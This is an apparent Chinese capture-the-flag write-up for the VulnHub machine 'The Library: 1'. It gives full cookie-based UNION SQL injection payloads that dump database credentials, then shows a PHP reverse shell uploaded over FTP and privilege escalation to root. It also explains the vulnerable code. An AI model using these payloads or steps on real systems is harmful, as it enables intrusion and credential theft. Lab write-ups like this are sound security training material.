当前位置: 首页 > news >正文

The Library: 1靶场渗透

The Library: 1

来自 <https://www.vulnhub.com/entry/the-library-1,334/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.154

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.154

 

4,访问80端口的http服务

再扫描其子目录看看

gobuster dir -u http://192.168.23.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.154/library.php

5,导航至 http://10.11.1.212/library.php

分析 cookie 值 lastviewed = {"lastviewed"=="Spain"}

操纵 cookie 以获取有效的查询:

步骤 1 - 找到有效的 cookie 值:

"{"lastviewed"=="'Spain'"}"

步骤 2 - 查找数据库版本:

"{"lastviewed"=="'Spain' UNION SELECT @@version"}"

步骤 3 - 查找数据库名称:

"{"lastviewed"=="'Spain' UNION SELECT database()"}"

步骤 4 - 获取表(access / countries):

"{"lastviewed"=="'Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library'"}"

"{"lastviewed"=="'Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library' AND table_name NOT IN ('countries')"}"

步骤 5 - 导出 'access' 表的列(username / password / service / id):

"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access'"}"

"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password')"}"

"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username')"}"

"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username', 'service')"}"

步骤 6 - 导出 'access' 表的记录(globus / AroundTheWorld / ftp):

"{"lastviewed"=="'Spain' UNION SELECT username FROM access"}"

"{"lastviewed"=="'Spain' UNION SELECT password FROM access"}"

"{"lastviewed"=="'Spain' UNION SELECT service FROM access"}"

打开 FTP 服务器并使用上述凭据。

漏洞结论(简短)

这是SQL 注入(SQLi)——更具体地,是通过可控的 cookie 值进行的 UNION-based SQL 注入(攻击者用 UNION SELECT ... 从数据库读取任意数据,如 @@version()、database()、information_schema、表/列/行内容等)。

为什么是 SQL 注入?要点解释

  1. 漏洞入口是 cookie(lastviewed),应用直接把 cookie 内容拼进 SQL 查询而未做安全校验或参数化
  2. 攻击者在 cookie 中注入 UNION SELECT ... 能让页面返回任意查询结果(能够看到 @@version()、database()、information_schema、表名、列名、用户/密码等),这正是典型的 UNION-based SQLi 特征。
  3. 演示里能逐步:探测列/类型、读 DB 版本、读 DB 名、列出表、列出列、导出记录 —— 说明注入已能任意读取数据,权限至少是能执行 SELECT 的 DB 帐号。

风险

  • 泄露数据库结构(表、列名)、敏感数据(用户名/密码/凭证)。
  • 可进一步写入/修改数据(如果 INSERT/UPDATE/DELETE 也存在或数据库权限足够),或进行时间盲注、基于错误的更复杂攻击。
  • 泄露凭据后可横向攻击(如 FTP 登录示例),扩展到内网渗透。

攻击原理(简要)

应用构造类似:

SELECT title, description FROM library WHERE country = '<cookie_value>';

若 cookie 被设置为 Spain' UNION SELECT password FROM access -- 则最终 SQL 变为:

SELECT title, description FROM library WHERE country = 'Spain' UNION SELECT password FROM access -- ';

如果列数/类型匹配,UNION 的结果会被页面渲染,从而泄露 access.password 数据。

检测与验证(给渗透/测试人员的线索)

  • 查看响应是否随 cookie 值变化而泄露数据库信息。
  • 放入 UNION SELECT null,NULL,@@version()(或根据列数调整)看是否返回 DB 版本。
  • 使用错误型注入(如单引号闭合)观察 SQL 错误信息。
  • 自动化扫描器(sqlmap)可快速验证并导出数据(注意合法授权)。

6,账户globus,密码AroundTheWorld成功登录到ftp服务器

查看当前文件夹下有什么

发现有一个文件夹叫hmtl,里面有一个文件叫library.php,基本可以判断ftp服务器的工作目录就是网站根目录

典型的 SQL 注入(SQLi)——通过可控的 $_COOKIE['lastviewed'] 值把恶意 SQL 拼进查询(实际是 UNION-based SQLi),因为程序把提取出来的文本直接拼接到 SQL,且没有做转义/参数化/白名单校验。

为什么会注入(关键点)

  • 关键代码:

$sql = "SELECT name FROM countries WHERE name = ".get_string_between($_COOKIE['lastviewed'],
             "{\"lastviewed\"==\"", "\"}");

程序把 get_string_between(...) 的返回值直接拼接到 SQL,没有加引号、没有转义、也没有使用预处理语句。攻击者可以控制 cookie 中被提取的那段字符串,从而插入 '、UNION SELECT 等 SQL 语句片段,改变原始查询的含义并读出任意结果(如 @@version()、database()、information_schema、表/列/数据等)。

  • get_string_between 只是做字符串切取,不做任何安全检查或过滤,无法阻止注入内容包含 ' 或 UNION。

示例:如何构造可用的注入(解释性演示)

假设我们设置 cookie:

lastviewed = {"lastviewed"=="'Spain' UNION SELECT @@version -- "}

get_string_between() 会返回:'Spain' UNION SELECT @@version --

拼接后的 SQL 变为:

SELECT name FROM countries WHERE name = 'Spain' UNION SELECT @@version --

这就是报告中一步步能读出 @@version()、database()、information_schema、表名、列名、再到表记录(username/password/service)的过程 —— 典型的 UNION-based SQLi 枚举流程。

7,上传一个木马到ftp服务器的html目录,这里使用kali自带的木马文件,以便反弹shell

然后再上传shell.php到ftp服务器的html目录下,注意赋予可执行权限

chmod 777 shell.php

在浏览器访问 http://192.168.23.154/shell.php 即可触发反弹shell,注意kali打开对4444端口的监听

成功getshell

8,再尝试获取可交互式shell,并且信息收集一下

python -c  'import pty;pty.spawn("/bin/bash")'

两个普通用户家目录没有什么可利用的

再看一下能否sudo提权,需要密码失败

9,得到数据库信息,包含了root用户的密码

cat /var/www/html/library.php

尝试su root用户

成功提权变成root用户

http://www.dtcms.com/a/393616.html

相关文章:

  • 23种设计模式之【装饰器模式】-核心原理与 Java实践
  • 动态规划中的背包问题:0/1 背包与完全背包的核心解析
  • PHP应用-组件框架前端模版渲染三方插件富文本编辑器CVE审计(2024小迪安全DAY30笔记)
  • uniapp 如何判断发的请求是网络异常uni.request
  • 学习:uniapp全栈微信小程序vue3后台 (25)
  • 23种设计模式之【原型模式】-核心原理与 Java实践
  • Netty 重放解码器ReplayingDecoder揭秘:重写轻量异常机制 和 ConstantPool
  • getgeo 生物信息 R语言 表型信息表”“样本信息表”或“临床信息表 phenodata phenotype data
  • OceanBase备租户创建(二):通过BACKUP DATABASE PLUS ARCHIVELOG
  • Linux文件打包压缩与软件安装管理完全指南
  • KingbaseES数据备份操作详解(图文教程)
  • 中断屏蔽实现方法-ARM内核
  • Kotlin 协程之 SharedFlow 与 StateFlow 深度解析
  • python爬虫(请求+解析+案例)
  • 111-Christopher-Dall_Arm-Timers-and-Fire:Arm架构计时器与半虚拟化时间
  • switch缺少break出现bug
  • 【自然语言处理】(3) --RNN循环神经网络
  • C# 中的 ReferenceEquals 方法
  • BERT:用于语言理解的深度双向Transformer预训练【简单分析】
  • 力扣hot100:两数相加(模拟竖式加法详解)(2)
  • Zotero + Word 插件管理参考文献的引用
  • 用Python一键整理文件:自动分类DOCX与PDF,告别文件夹杂乱
  • Ubuntu部署Elasticsearch教程
  • 61.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--新增功能--提取金额
  • 一款基于 .NET 开源、免费、命令行式的哔哩哔哩视频内容下载工具
  • Win Semi宣布推出线性优化的GaN工艺
  • 考研408计算机网络2025年第38题真题解析
  • C++编写的经典贪吃蛇游戏
  • 风险预测模型原理
  • PS练习5:利用翻转制作图像倒影